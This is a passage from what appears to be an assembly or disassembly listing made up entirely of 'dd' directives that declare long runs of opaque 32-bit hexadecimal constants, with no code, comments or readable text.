39611812h, 1F6C700h dd 38A72A3h, 0D4405A25h, 0A5CB71D2h, 262D1B88h, 2F920200h dd 0CC6241EAh, 789F01CBh, 0BF9C0610h, 0E0E8D4D8h, 31F46630h dd 30D0D377h, 0C71144D6h, 2C00F3E3h, 0B3E74EE8h, 0DAA682h dd 0FAE29530h, 8E7E1307h, 0C512700h, 6D365BC7h, 19F4ACh dd 0A0E3C129h, 7DD83FA3h, 57D3CA0Fh, 6AB88142h, 0CF80225h dd 0A81F000Bh, 0CE81F53Bh, 0E800F836h, 0D409C7FFh, 0C3A004h dd 454ADAC8h, 7A564C4Eh, 53C5EC00h, 0AA112855h, 8AA302C2h dd 9567458Dh, 5E418080h, 0F000CFC0h, 0EFAD5185h, 17CC7Ch dd 7DD21284h, 572ADAFDh, 2000E8E2h, 0EF97C305h, 928FE18Ah dd 74C00628h, 50813F94h, 9070B802h, 40DAD64Bh, 0FCA84AF9h dd 0E8951CF9h, 0EB60F0EAh, 9130DCDDh, 3310119Dh, 0ADA122CCh dd 0B5232000h, 0E1E70272h, 8AEC0CBFh, 3B714A1Bh, 0A4A9390Fh dd 275A8348h, 70809849h, 564206E2h, 49B1A5D0h, 0D3372C00h dd 0ED6AFDCFh, 528A00F1h, 60589425h, 0B0C0BD03h, 0BF556784h dd 3CE0A009h, 0A36C0054h, 0E0B796EDh, 0C900EA18h, 9260FED2h dd 12E559Ah, 31633E82h, 0E8FA38A8h, 0DB001B95h, 0E11F1DBBh dd 2A9FE8h, 0ACBAD2E4h, 0DD08416Dh, 0C1B63Dh, 0C371E65Ch dd 74B316h, 0BDE7918Ch, 9A0731A0h, 2000C0F8h, 0E6E2E5FEh dd 3D3D61Bh, 1A014837h, 0A8C83052h, 0DBF6FC87h, 439FAC0Eh dd 0BD6260E4h, 50DEB0D5h dd 44A294B1h, 39731474h, 0CA46AA01h, 765549C0h, 6441C4h dd 4D02A674h, 0ACD08E5Dh, 963F6705h, 0E408AA40h, 0D14463DDh dd 38402EC2h, 0C3001986h, 9B7E6CA3h, 9644F66h, 65777B7Fh dd 0A0C23D87h, 398DD7E0h, 8A0E2F00h, 0C60B5D85h, 3CDF4D05h dd 0A3748600h, 81610A0Fh, 8CEC2D00h, 708DFB0Bh, 0E7420159h dd 809A974h, 40E2D935h, 904EB280h, 0E40BBEE8h, 90621A9Bh dd 0A8D900h, 31120C73h, 8EC48DF0h, 6B41407h, 0A7EE10EFh dd 0A7501F6Fh, 145D3251h, 0F4D3C94Fh, 0D4665203h, 89E08365h dd 0E1F0359h, 99D4FBEh, 2A569F00h, 0CE7C15h, 0D81A92DFh dd 8C91ECB4h, 0D9087F07h, 0C820C382h, 776C220h, 75FAF0Dh dd 43B330F0h, 4200A040h, 59C17761h, 15E5CFh, 10C467EDh dd 0C5751A56h, 0B0FDA01Fh, 20846200h, 987E6EFh, 804A2B8Bh dd 58A5D080h, 7700A775h, 449E7E1Fh, 35CB067h, 8024E5C2h dd 40E8B8BDh, 9100218Fh, 0CBE98E83h, 0F27FD3Dh, 0C7DABE2Fh dd 76FB51C0h, 0AE0CBDA6h, 10501F17h, 27AD00B6h, 0DC47F13Fh dd 980F1C01h, 4E496Ah, 0C076F28h, 41AF007Fh, 5D546997h dd 1E001288h, 0C4374E11h, 0E2A13EF1h, 0CF7F3871h, 566D1F09h dd 0CB65D021h, 37A84333h, 96C490FCh, 0EB54084Dh, 0CA1CC3E8h dd 0F9804C04h, 7E6DA69Bh, 0AA2A3D9Ch, 0A558BD83h, 0B4800D68h dd 562653ADh, 940050F7h, 0AFB53C46h, 0C74D184Fh, 1C44E806h dd 7B0AE203h, 0E81F02F2h, 9E1637h, 71361788h, 51E1CF60h dd 69864003h, 0F564E979h, 8C310480h, 6F051D5Ch, 0DA478081h dd 0EBA7FC03h, 5E7A6900h, 33B09B10h, 2F78387Eh, 3F499304h dd 0FD6490F0h, 64B07968h, 0CB483Eh, 0BA9AF310h, 26A03A4Fh dd 162874C6h, 0CF1000ADh, 0B588F721h, 0AF29320Eh, 355BE00Eh dd 0F072C97Bh, 3777004Ah, 0BDF361C8h, 1D4C42C3h, 184F307Ah dd 122D5848h, 40B38240h, 0A6D0B4ECh, 19012B80h, 1BEF7184h dd 29E0F0BBh, 2CAA00B5h, 5B4BC2DFh, 7F003064h, 0C9370171h dd 0EE8FDF4h, 0B3E6FAF2h, 0D8E319A0h, 0BB0084A1h, 0FCE95E4Ah dd 247BCE1Eh, 831C0644h, 8F05D970h, 8BF1828Bh, 0B1633011h dd 65467700h, 5D6C9168h, 61FD1E66h, 8021DEA4h, 78DB9E26h dd 7D7E80E5h, 974C4701h, 0B809E973h, 21FEFCh, 30FC4340h dd 0BD70C2AEh, 30E49048h, 804D11C0h, 6B8E2E1Ah, 9F1249h dd 60CCDD27h, 92013B98h, 745CD0B7h, 0D706CA4h, 0F9CB0085h dd 0C6C9CF4Ch, 3B02A532h, 75CEF55Ah, 3848487Fh, 4092BBh dd 0EFFC013Ch, 9B28A1C6h, 0E9537F07h, 92F073C1h, 261BF2ACh dd 5F83516h, 8076F634h, 29544C3Eh, 62BAEB00h, 53E1D1C6h dd 0CE3400E4h, 243E2EF5h, 7BFE8C07h, 6CA270E7h, 31676F00h dd 0A61C418h, 3407175h, 0C56DBB41h, 72F8D8C8h, 4B004F9Ch dd 5DFEE492h, 0FAC2A0Ch, 0ADD204B0h, 0C31DF3C0h, 5400FAEAh dd 7193122Bh, 473A13h, 674B14E8h, 87B52B1h, 0C2455300h dd 0A5BEE432h, 94EE02FEh, 97D93CB7h, 0BFC3FCE8h, 5AC77107h dd 74429A83h, 6028E0A8h, 0ED222882h, 479E0F6Ch, 0F020B6DBh dd 0D9CA5DF2h, 23445500h, 72869C1h, 0FE09Eh, 0E8298954h dd 27DB7BBCh, 50479A24h, 0BB8CC83h, 0D37CC014h, 0F6377416h dd 33949C82h, 2DE3D511h, 809B45F9h, 5C2518A1h, 1D678B88h dd 837E34h, 8E946F20h, 0E403B181h, 982793F3h, 2CAA056h dd 7E23003Fh, 0CE9AC2DEh, 0E5037747h, 9CCCBB13h, 7DD0B90Bh dd 6CC29080h, 588C0CEBh, 22587C60h, 24CAF97Eh, 87E80B92h dd 2947D984h, 0E56FA503h, 0DB790802h, 58091E29h, 0DD4B0008h dd 0CC89B49h, 220043EBh, 10E0DE0Fh, 75650Ah, 0A497546Eh dd 0B16F2CB0h, 96B7800h, 27510698h, 0BBBD00B7h, 0A5264B9Dh dd 83FAD9FAh, 0AF38E709h, 3D0A857Ah, 6371A040h, 7E919A9h dd 1FC3C2DCh, 16B4C0A5h, 0F100BAD7h, 0F8867F14h, 92DA11h dd 58D07044h, 0D999CAF0h, 0F4D06E61h, 5AF240DFh, 0D17C03A8h dd 75086CC4h, 0D986B1A0h, 1C6B8500h, 8F96A9BFh, 0BACA00DCh dd 0FF418DBh, 1D4C1E2Eh, 2FFC0EDDh, 0F0140A30h, 0DB8AA940h dd 64232A43h, 0E924008Ch, 31A2A8D7h, 99FEAA61h, 0A8099C3Bh dd 5970F8A6h, 9440104Bh, 0F6398940h, 0CE11C03Ah, 276C2A31h dd 0D3D73D00h, 772DBE64h, 3D3FE067h, 1F00F45Eh, 1B747C84h dd 0AE1DCA75h, 9000C939h, 6C2F4814h, 93E70086h, 409C30E1h dd 0F9C416DFh, 3094B41Eh, 4E7CCC80h, 13C177A9h, 3ED8446h dd 5ECD8CB8h, 59D3C900h, 0BE3525B8h, 0CF1BB8F6h, 73A08550h dd 7A2C21Ah, 8083BB3Ah, 2AAD1574h, 0EE99EC8h, 0FFF8AC03h dd 20E0E180h, 0A501362Eh, 9CFDDF88h, 899C781h, 0FFC521DCh dd 951CA488h, 6469E800h, 8E8BE366h, 0E0F1385Bh, 0C3EC0300h dd 9D051401h, 7F4676C0h, 0A0AD32h, 8A2A5E75h, 0D8FE88A8h dd 1CFBB1Ch, 5B90E083h, 4179F6h, 782B3EA8h, 60071F5Ch dd 21ED09CCh, 3EB002A1h, 951D22FBh, 0EC140FF5h, 29E6A0E7h dd 168B203h, 88A73628h, 88D818CFh, 360030C3h, 5BB12ADEh dd 0C44D8674h, 0D02FD58h, 0FBC729FBh, 0F817EEEh, 725A2DFEh dd 0AC87740h, 8A00D99Ch, 3F3D3432h, 7D1B89h, 2ECBEF6h dd 90D2AE2h, 0E5507E60h, 0F34382h, 296C4869h, 7AE37707h dd 5932FB1Dh, 80E16070h, 884C0098h, 0DD27CC19h, 8CCC461h dd 0A121E5h, 0FDFC4C90h, 57F697Dh, 0BC23AD00h, 0C3E39329h dd 0D25E0661h, 0C18C9725h, 8A02E2E0h, 0CD5B807Eh, 2A94803Dh dd 0C01AB16Dh, 4E438698h, 230028CCh, 166ACB50h, 0A79D2Ah dd 0B9154178h, 6B323C87h, 0BE2CC507h, 0AD40D266h, 6A73Eh dd 5D04393Ah, 0EA0C441h, 0DBE68000h, 0D7C7E891h, 18B1000Fh dd 0AF3E4E7Fh, 6A0052F6h, 2039B29Dh, 1DCE3FFh, 0F8059FABh dd 0F4853882h, 0A804407Ch, 4EEDE837h, 4FDF76C0h, 9ECC503Ch dd 45C4001Eh, 67F8E09Ah, 803F785h, 195E66A9h, 2A81A5B9h dd 46D1FF5Ah, 73C160h, 5391BB34h, 0F0121A6Ch, 832D5F1Ch dd 0C6DB18F0h, 5D301F5Eh, 0DFC80F6Dh, 524E9D03h, 1FF58BC0h dd 66283F60h, 0C5518544h, 80E30261h, 0B6C4E5Bh, 3D8C3Eh dd 96BB0159h, 6F5B574h, 0DE06974Fh, 0B902309Dh, 3D8D46F8h dd 0BE148056h, 188B885h, 75490682h, 818BC516h, 65F91378h dd 0D1A161C7h, 1AD38C1Ch, 4960C819h, 4C0F36C0h, 98F8646Dh dd 0D5E204Bh, 0C08161AFh, 0A10C87E1h, 80515C21h, 0ACC89310h dd 419D4900h, 73EB04F6h, 0CEF95C1Bh, 3B662060h, 0B50F39C7h dd 0E03A0F7Bh, 0B1B35F74h, 359324B2h, 0B1721845h, 0D800C71Bh dd 0B6DE887Ch, 744258C8h, 474A0C96h, 0D2514929h, 57310B65h dd 5EF04A80h, 0EC6500B8h, 7475B354h, 1E03BCC3h, 5941C743h dd 247822BBh, 0FEBAD91Eh, 51428A41h, 0A04362F6h, 288FFF5h dd 141BBEDBh, 0AAE09881h, 9F80FCB1h, 0BA253Bh, 786CB7B6h dd 6ACE1C0h, 0C6653E04h, 8D0A795Ah, 2458B12Dh, 7300FA11h dd 5D2E1C8h, 0D3301E04h, 793EC110h, 28670F8Eh, 92E1BB52h dd 477D0F2Dh, 9341C3C8h, 8796CBD1h, 48FA8910h, 0BC009575h dd 4EB8C2EEh, 0B1281863h, 0E14D5037h, 74782C02h, 0A057DE18h dd 210610D0h, 73CC09B3h, 4680BC9Dh, 0C425C794h, 0ED0D1A17h dd 46997707h, 0E72F44B0h, 18560C5Ch, 5780E1B4h, 0ACF07341h dd 0DD73DA0h, 78F8981h, 0F05C8B37h, 9E0010A4h, 0C99B6488h dd 220F23DFh, 0AEF06C02h dd 5C8A4524h, 76E08900h, 0CA4FC97h, 8CD90EB7h, 7A44F819h dd 0F473547Fh, 164FCB3h, 31126105h, 0F2B2F0E8h, 4469B885h dd 9084B1A0h, 0B02C17B8h, 0F8B7600Fh, 887800E0h, 60E175E7h dd 0C677894Bh, 0B3F894ECh, 1D0341E2h, 0DB7E1B0Bh, 6C8D80EAh dd 0B8FF28D2h, 114000E4h, 0C1D44ACBh, 0E49845F3h, 12CDF200h dd 255D5A2h, 8A2B00DFh, 45D94A5Fh, 0E018B764h, 5B28A59Eh dd 0E9C80021h, 1ABC4BD1h, 0EA00A404h, 0FECAA650h, 39B3C19Ch dd 0B6B028F6h, 0E764FB30h, 55C5740Ch, 2668F3h, 1590F688h dd 321EBBF8h, 38A2D230h, 1B7E9978h, 108076CAh, 80D6CBB9h dd 0A87D3B79h, 0BEE4F4h, 8E58E737h, 9FB0E8EAh, 0D42A4D00h dd 73682E3Dh, 5F813ECAh, 0AC6E07F7h, 0BF41A1CEh, 916B5180h dd 5618D8A6h, 0AB198994h, 0D10D045Dh, 0C0DC958Ah, 0F42B52BBh dd 2E023Eh, 2692586Bh, 330DBFEh, 3224EE65h, 0A004A1C2h dd 0A6447305h, 0FA54CD01h, 0B018D396h, 9EB9DACBh, 0FBA60105h dd 0E05E403Dh, 0C01980AEh, 0BDFF91D5h, 0C479012Ch, 0CAC3D2A7h dd 0F12180D7h, 0BA8CE544h, 0B09A0090h, 0C58AE832h, 0B10FB20Fh dd 604F8FAEh, 0AFB36572h, 0B447F5Dh, 2162F278h, 9DCC5300h dd 8200A089h, 0CED7BDD4h, 321F49h, 3ADF8F39h, 0DE22A886h dd 9E046C0Eh, 0C94F03D5h, 8C809FA9h, 0A19505h, 30BA996Ah dd 0BCB837Eh, 8DF71D00h, 0B67B60B9h, 4A48C35Ch, 69A09B0Eh dd 5300DE8Fh, 561D3602h, 6077C3h, 0A2074505h, 913BCBB9h dd 62402A67h, 789949F0h, 7EBC7BBAh, 0A5DF805Bh, 0DCFD1300h dd 0E2D902D0h, 0B1686056h, 6658CDE8h, 60900800h, 75C4FA1Ah dd 651300F8h, 76D4CBAEh, 0C7008215h, 72F45597h, 95D10Eh dd 5DE411C9h, 2EE06317h, 0EC0C9306h, 0CF184AC5h, 0C06087B9h dd 81BB1D07h, 0BF9D8B0Ch, 0CB9D0F6h, 0BCFC1B2h, 0E44061C0h dd 803500D2h, 39525159h, 5076A2E2h, 55DBDE1Ch, 989B037Eh dd 0E0A54526h, 0DE524999h, 57D60320h, 31009CBEh, 71F8435Ch dd 534B2Ah, 158B5A47h, 0D8DA280Dh, 37F79400h, 0C484BFABh dd 0B79200EDh, 5B8702A1h, 0DCE46208h, 0CD0E85E0h, 9FEDF3BEh dd 22616A01h, 144B9EC2h, 37018400h, 18A8944Bh, 80282953h dd 2B01B613h, 53F7002Ch, 7842501Bh, 3F001939h, 0D9F1E11Dh dd 0E26014B6h, 29C32967h, 0CDC5E014h, 0AC38A895h, 74522998h dd 29C45060h, 1DF42C63h, 874D0004h, 0A8E4AEF8h, 2C762B01h dd 0D96BA2FEh, 8D00344Eh, 76EDB5F2h, 70D1CC49h, 5D1A8020h dd 53BBA1EAh, 0A89F44F4h, 9EA415D4h, 4C04E0CFh, 1A79B234h dd 5E041510h, 40B27E18h, 9AFD10h, 9F9BAD46h, 5089E9E7h dd 0BFEA3E00h, 987E57AEh, 282563B7h, 8D45DF8h, 0C14A42BBh dd 23BC8C22h, 512173E0h, 0FB6B084Fh, 3E14A094h, 84E34458h dd 0A9D95B10h, 0EF0C7421h, 88F779AAh, 8D002094h, 743F46B0h dd 973C12h, 0CF1963C4h, 0AC60C17Eh, 88863960h, 1EC812D1h dd 80A39992h, 85C06544h, 4F01E87Eh, 900515DDh, 0F120279Eh dd 2B5300B8h, 8720EE63h, 5DE6077Ch, 2996900h, 0CB58E09Ch dd 49F5008Fh, 0B9133CA9h, 0C400186Dh, 7DD9EFE6h, 0EB0F20D3h dd 0E060570h, 751BD1B5h, 6BE710C0h, 0BE00FEF4h, 0D3136817h dd 9FDD02h, 0F541C8ACh, 0A227B5F1h, 3FA3FC1Eh, 14583540h dd 0EC13AEh, 48769192h, 0BCBF8A03h, 3AF8E4ABh, 31B89818h dd 0F1DC9F01h, 71FF3D6Dh, 1923CCh, 0A4B0365Eh, 0F8D44B84h dd 0B4E89FB8h, 867351FAh, 0C7C9D309h, 0E5080246h, 0A6C8C06Bh dd 39F03Eh, 0BEEE244Dh, 88F485ADh, 7E7BE8FBh, 342D0200h dd 0F63A3CCDh, 0D6F71DFCh, 50994F42h, 0CBD09040h, 0E700540Ah dd 9F446E5Eh, 28B1FDh, 15E9C7DCh, 2D7D3749h, 0BC701800h dd 0C4A49984h, 84D45096h, 0C7F50144h, 70236CFAh, 4717F41Dh dd 4B011E00h, 2DC0E7FFh, 1427003Eh, 0FD424FD8h, 30C0CD66h dd 46AE5590h, 0EED60089h, 0F84C736Dh, 29001C86h, 44F5FD4Dh dd 464F1Bh, 0C7FBC293h, 0CC8B5292h, 0D401F200h, 98D2DFD5h dd 8D7A49h, 2B246397h, 0D7C444Fh, 26DC4E00h, 0AA35E8D5h dd 80570AEFh, 0C4B98Bh, 65A39DC8h, 0D3004001h, 46D28527h dd 0AE6BF0h, 2C0FE88Eh, 539F0B11h, 8224071Eh, 5C1D9900h dd 0E9C528h, 2772FEE0h, 0E20CB78Fh, 0B17DE300h, 0EC490EA6h dd 0B06A0095h, 58614B2h, 0C51F2334h, 56006CFDh, 0F808A3EBh dd 0A8F50048h, 100F2CEEh, 2490D5D3h, 0A7D74903h, 0E3D82EA5h dd 79D006AEh, 10D508B6h, 7365FA00h, 229FB8Ah, 0FD77C3h dd 88DE182h, 0DE852049h, 7D3EA00h, 216D7EB3h, 524B39ACh dd 14C48A4h, 0C4C66F70h, 1528348Dh, 8953C000h, 3ED69957h dd 34EE0337h, 0D3C1793Fh, 5BC5D0D7h, 0B3A8BB1h, 38BF1C5Dh dd 0D5692870h, 2FE30073h, 0F228EF36h, 0A60145BAh, 3004FEC8h dd 31CCC535h, 0C66D03F4h, 0A01B62CDh, 0D55ACBD8h, 4FDB0600h dd 7B3FC17Fh, 0B8FC00FAh, 38ED9E8Ah, 0CD00D5E0h, 377349D4h dd 3B910B78h, 0E880B05Eh, 99E50AB6h, 0A4099879h, 133F3A22h dd 0DDB0B870h, 0B8C600F9h, 87C3BB28h, 45481377h, 2538BCh dd 9B7F2696h, 3BA64B9Ah, 0E782D8C3h, 0B0B7F74Fh, 0F4AEAFC1h dd 4A0C47BEh, 0D8F5D00Ah, 0F216EA9Ch, 514400E4h, 507A21FBh dd 0F000B75Bh, 0CBDBE7C6h, 6DBB86h, 265F1CF2h, 3408ED37h dd 741A3A00h, 6C1FF763h, 44982Fh, 0AA70F490h, 0AD2C9C7Fh dd 53788100h, 864123DAh, 0E3C00051h, 0BAEECD8Bh, 0C401631Fh dd 96C7ED66h, 35ECD5A1h, 0D34F0BE1h, 6A8022EFh, 0D9CC9F8Eh dd 0AE0AF500h, 0D837706Fh, 3CA44C1Bh, 7A5C8B11h, 5DAFEE14h dd 0C80200FCh, 0A9308947h, 52CA0E75h, 1204F196h, 9248C0C4h dd 6900B43Fh, 0A6F5BD25h, 0F8DA130h, 0ECBFDDF6h, 0F22C2480h dd 297E7079h, 66E6C300h, 0F3A8AC9Ch, 26F00016h, 0B4C4203h dd 0AD004185h, 9380AB96h, 0EA6BE007h, 0D18D0FC5h, 1181639Bh dd 0DB22A94Ah, 0BAFFFCD0h, 0CB7564F2h, 0D8391600h, 0CC921342h dd 0CF6F7DE4h, 0E3277238h, 0AAB7D027h, 0E01E3EECh, 8C401228h dd 0FA031A6Bh, 0D3DC0252h, 0B8C4B743h, 0D0344AE0h, 6E5900B5h dd 1FF43086h, 80E6164Ah, 0E99746A1h, 110B1785h, 1BCE60h dd 2823B3B4h, 1F6238BEh, 0E06F5E80h, 3FDA60B8h, 0AB923900h dd 681E70F7h, 0A0797253h, 0BE9781h, 8B90606Eh, 0A1724186h dd 88280700h, 97104991h, 4479F7h, 2A8B0DB1h, 0F0D3C767h dd 0CF11B000h, 25D946E8h, 0D2750088h, 279A219Bh, 163A697Eh dd 10CB8002h, 2EF798CFh, 0FC174E0Ch, 0B78400D5h, 7B0FBF2Dh dd 738ACFA7h, 1EC0CAEFh, 8F4BDCF5h, 89C48500h, 0F09A2609h dd 0B4EA20h, 0BD219C04h, 37AF5152h, 0DACD5800h, 0ABA9C3D6h dd 73EF4F1h, 19BDF2B3h, 38D8002Ah, 5024B46Bh, 7807F9BCh dd 8389DDFEh, 0EF1B53EFh, 8559274Fh, 0CF32000Fh, 39C6F533h dd 0F600D87Eh, 6944DE6Eh, 0B139E214h, 0D32200C7h, 1694BA88h dd 90560070h, 0AD8966D7h, 0B2026E80h, 9B5593B9h, 0F780E053h dd 1F3B1E74h, 0FB328117h, 0DCD28DBDh, 8B4C99D5h, 0BC51002Ah dd 0F47EAD2Dh, 443E0ABBh, 0A6F816A3h, 0CFD300FFh, 93173966h dd 901FE3FCh, 3D22E8h, 0B91842C1h, 0DAA978h, 0C07B837Eh dd 0BE337A9Ch, 0C503A090h, 0A410F665h, 46ABD8FBh, 0DFAE0023h dd 16D7AF0Ch, 74009751h, 0E71E300Eh, 5716BEBh, 0B64FDE8Fh dd 4418070h, 0E001F21Ah dd 3BB1DA46h, 2031F756h, 18A56BD4h, 0E6EE53BBh, 1D00DB52h dd 9BFC55FAh, 52F5CCBh, 5EE10C83h, 2933806Bh, 0E7007A50h dd 9567886Fh, 0F82778h, 0E6AEE86Ch, 7460015Ch, 0DFB3Fh dd 4B4C6DF0h, 8DB7EDh, 6617A1CEh, 9C49C49Bh, 5FAD7C00h dd 9F4FD1A4h, 693203CAh, 0DEAAEC8Bh, 3420D6F8h, 0A2DB3B00h dd 494D88B3h, 0AD8A009Ah, 6BC221E7h, 0D10036D2h, 313F0F06h dd 0A42B2979h, 73E500B4h, 1D0AE939h, 3158A099h, 5DD50AD1h dd 0FF00E81Eh, 24A703D7h, 0C37A3D9Dh, 7F1A6800h, 0DA0C61FDh dd 0C4D90E00h, 3391BA92h, 67B10EC6h, 0CE003F3Bh, 0FB41DD88h dd 50AE7000h, 0C030DBDEh, 0F5EE8908h, 903D03DAh, 0B0C74FADh dd 14275C0h, 64D03520h, 7055B2B1h, 7C674397h, 20BB1378h dd 707430D4h, 19CC03CDh, 0C67E40EDh, 0DC6E1806h, 8041E10Dh dd 75A54BC4h, 3D10C0AEh, 0CEE224Dh, 0EBCCF105h, 0AA001E8Dh dd 5C4A368Bh, 0CE2E00AFh, 40719113h, 5800F718h, 0B8D644B7h dd 3BD839Ch, 0A38E778h, 8FD06D29h, 0F869268Bh, 0A62000A8h dd 1EA9478Dh, 4B5F4F15h, 0B581D135h, 20C1340Eh, 0E707A2E8h dd 9553BFF9h, 0DF2576E0h, 297A2897h, 4A572AB8h, 12AB00B0h dd 33407820h, 2300B4FAh, 47CBB26Bh, 0D0AE3h, 64DA94A9h dd 0A2B7F55Ah, 15501B00h, 6EFB36Fh, 0ECE10263h, 0EA460325h dd 0E286B883h, 78B6008Dh, 0FB6AA41Fh, 0BA0A5800h, 59830721h dd 87F200AEh, 247E6B53h, 0F5E408EBh, 0A9013Dh, 6ADBB248h dd 17D0712Fh, 1CA02329h, 79E8C184h, 0CC85EF97h, 110073C4h dd 0BB2733BFh, 767D726h, 0C859B313h, 1746E0C2h, 4924F3BCh dd 9000D853h, 27EE1839h, 48E300B1h, 251F5C1Ah, 82020F38h dd 64614B3Ch, 497040EFh, 6D28002Dh, 0E60B804Ah, 0E700C53Fh dd 0F59B3C8Bh, 2D05C1h, 0AA270D71h, 494784F7h, 2507330Eh dd 0A9C1C029h, 0E6A6370h, 0C465D597h, 16CFDC60h, 0E5E8F9F4h dd 50276E03h, 0BF85A6B3h, 6F3E5EC0h, 4D010073h, 1C865206h dd 6A14C653h, 8858E8h, 0B31F2EEAh, 99D27Ah, 35BEA247h dd 7B284A8Ch, 6AA5E0C0h, 29F3D3h, 0CF877A14h, 8315FB67h dd 0AD795802h, 40DB5C7Dh, 0FE2B354Ch, 0F075009Fh, 321F5046h dd 721CFCD5h, 330D24D6h, 0C3F450ADh, 1C2D3B2Eh, 890084C9h dd 0D6876A7Fh, 0DA0BCE0Bh, 809F234Bh, 0B0378628h, 3DB98C5h dd 0F7A1EF7Ah, 4DD01AF0h, 8172A5CCh, 59B35330h, 48D909h dd 674070EFh, 421F559Ah, 96C35A02h, 0C06B34E9h, 0C027C60Ch dd 0EB854B30h, 0ED12B2A2h, 3062582h, 7011F71Ch, 0C4687FE6h dd 0C4C3F881h, 0BE7C8354h, 0D5D490CCh, 0F7028093h, 3479668Ch dd 77CFC030h, 0FE600032h, 39DF9D22h, 6B018A27h, 0F8C26CFAh dd 9C0BB85h, 0DB3001Ch, 2A5A71D5h, 2B1E14B4h, 0E6405C16h dd 0FAF0E0Bh, 0DD040C94h, 36E1AE4Ah, 78DE40h, 3ED7A609h dd 8BE21137h, 68222B24h, 0B85D4F00h, 4E640Bh, 0DD95FE9Bh dd 8C6FEB5Fh, 0B90FF679h, 2042F902h, 0F8A15551h, 0BC7B04B8h dd 1505D12h, 4496EF35h, 30EEE074h, 26185608h, 3824CDE3h dd 82844C5h, 7F53C00h, 0C8774861h, 39DEA5Dh, 0FBC6EFC4h dd 5100A937h, 149E2901h, 7B1B0F4Ah, 55660C5Bh, 0CFB01EABh dd 84CDDA00h, 40791618h, 0E9F21CA6h, 1BE5C1C0h, 3CAF731Ch dd 3A0F00DCh, 120CF1C5h, 0FA1C923Fh, 3EEB5h, 759C81C0h dd 0B99DB8D8h, 86B4423Bh, 0F9C7C479h, 1DA703FEh, 7424780Eh dd 0A6184188h, 0F34D3014h, 21953B7Ch, 0EA640082h, 98A1D094h dd 6D005896h, 18A15BCh, 812F60F0h, 0CFA1B069h, 0E2A9DD0Ch dd 0F49870BEh, 0C80F015Ch, 3BB2C0FBh, 3FA0246Dh, 38510100h dd 84465463h, 0E75D04CFh, 428A4C44h, 82C63779h, 20FCE9C8h dd 0C4C30F3Ah, 5C08087Bh, 0FD14AE8h, 0D0483A5h, 19D0C389h dd 73A318C8h, 1E7FBD00h, 21EE94CBh, 0B4230082h, 8198C6A6h dd 400263Bh, 0F1D7A92Fh, 19686Dh, 0DF38DBA5h, 5FB735D5h dd 8AC7812Ch, 17DC0600h, 76BD942h, 0FCF160Ch, 7F3940AEh dd 4305B8EDh, 9D593D8h, 0B54BC480h, 8D9B18A5h, 4A354110h dd 0EDFE3402h, 403A0B05h, 1219E570h, 411A5BD3h, 47DF8B68h dd 2810D8F5h, 3A622B00h, 0D1E01E9Eh, 4880F107h, 6A67083Dh dd 0F864B640h, 56C0D771h, 1BA9B8B1h, 5887CC44h, 1CBC81ABh dd 46BB240h, 982A2857h, 214630A6h, 2210C5C0h, 1F0DC52h dd 556BBA5Ah, 2E20079Ch, 0D7110062h, 6DC519EBh, 92005E24h dd 9E17B34Ch, 22A8DE1h, 2FD54F2Dh, 0C40C60Ch, 820385B9h dd 0F9BC813h, 11A6986Dh, 0E5410ECEh, 7F805B61h, 196BE2E9h dd 0EBF52D02h, 0C05AEA23h, 1C0E9FA4h, 4CD3D1F1h, 7A107F0Ah dd 54BD000h, 6B11545h, 0E08103E9h, 588EA524h, 87F74CD8h dd 0AF647500h, 760CB455h, 0CDDD121Fh, 1760803Ah, 0C200DA0Ah dd 60D16ABCh, 12F28239h, 0C0E36F37h, 4DA206B4h, 54DFC20Ch dd 3EBC021Ah, 10836DF6h, 0AE492F52h, 0B3A11890h, 86B8E407h dd 0A3BA257Fh, 0E732A200h, 9698EAh, 903C4E71h, 1135A9A6h dd 0E85338h, 61575522h, 0E033561Ch, 3DBD2CF9h, 0BF9202C6h dd 5C40FB09h, 0B513D64Dh, 0D8002B34h, 2768795Eh, 842E2C9Fh dd 0B7E88028h, 1054EE24h, 0FA9E4601h, 6C67A51Bh, 7F8474h dd 9F21BB8Bh, 0E7CBC3BEh, 0EBF60600h, 3F0C3AD2h, 895000Ah dd 9EE67010h, 2890DB7Ah, 0D9601E00h, 48F98B5Bh, 0F7290042h dd 8AE62807h, 0C900CB5Fh, 0B1C2300Ah, 30F7F79h, 8E4C7442h dd 6DD82BD4h, 0E1007CCFh, 55114F04h, 3BB7535Ch, 27DC8E66h dd 62163700h, 0DB60247h, 0E63AA401h, 0CD925DBCh, 5C2534C8h dd 3100E428h, 0C4453359h, 0B801D738h, 866E1C5Dh, 783491B2h dd 5D613D5h, 993414C4h, 0C076901Eh, 884C3884h, 410287CEh dd 0F781B93h, 0F848CB8Bh, 0AEA553h, 73D9C37h, 0E1DB3E7Eh dd 4212D700h, 13D069E7h, 0C7EF0092h, 630D79EAh, 0A0001889h dd 0B080217h, 90256058h, 8FEC30C0h, 1582E2D0h, 0E5000AEAh dd 9D4E3A28h, 0E754FCh, 0BB53B81Eh, 75C7DD62h, 5DA4DB00h dd 0BE0E1A9Ah, 6C6D01FCh, 9643249Dh, 1E4EC872h, 9F017E00h dd 0FB77E62Fh, 0A46A00C5h, 0B1FDD5ACh, 414C102Bh, 0AD47004Fh dd 28CC38DEh, 16207C1h, 50CFB555h, 0EB50A44Ch, 8EEA6B00h dd 0A3A5CB67h, 0EFE10079h, 7591C807h, 0AD00E8EEh, 0D92805BAh dd 0F29693Ah, 8B40DF50h, 157AAA23h, 20381FE8h, 816F300h dd 4B1C031h, 0A4575072h, 4F103A1Ah, 80520372h, 1122A22Ch dd 0A1A04DD8h, 2FAE141Ch, 7CDBB782h, 6EEAE132h, 36DFAF0h dd 0F00F447Eh, 5288B4DCh, 0E20EC697h, 60510CA5h, 278BD121h dd 4AD40FFAh, 0E1246D26h, 82E8D020h, 8E00CB43h, 12A04692h dd 0A7B704h, 56DBD1BDh, 0B3DA8154h, 0EF731E00h, 6BA59980h dd 0E2E601E0h, 60CDF82Ch, 8E0424DEh, 14E814Ch, 6F4AF238h dd 3EC3FAFh, 187B041h, 2B20E01Ah, 30555C05h, 2F00B8A8h dd 0D14115C1h, 20151E7h, 6B7D7FABh, 8CE3BBFEh, 80BAE4C0h dd 0F100C6F0h, 0E692AEDCh, 3EACEh, 66BD03Dh, 0EE8ADE49h dd 4D122407h, 0E5643A91h, 0CF0188A8h, 0D8F853C0h, 70FAC11Fh dd 0CC17819Dh, 0D493AF1Ch, 91C9E017h, 5B733EEFh, 802E07C8h dd 29800BCh, 0F7901D86h, 0A009D0EBh, 73933900h, 38C03C3Dh dd 0C834E5E1h, 0A6701F06h, 0C56C8017h, 0F8751B63h, 1C622A01h dd 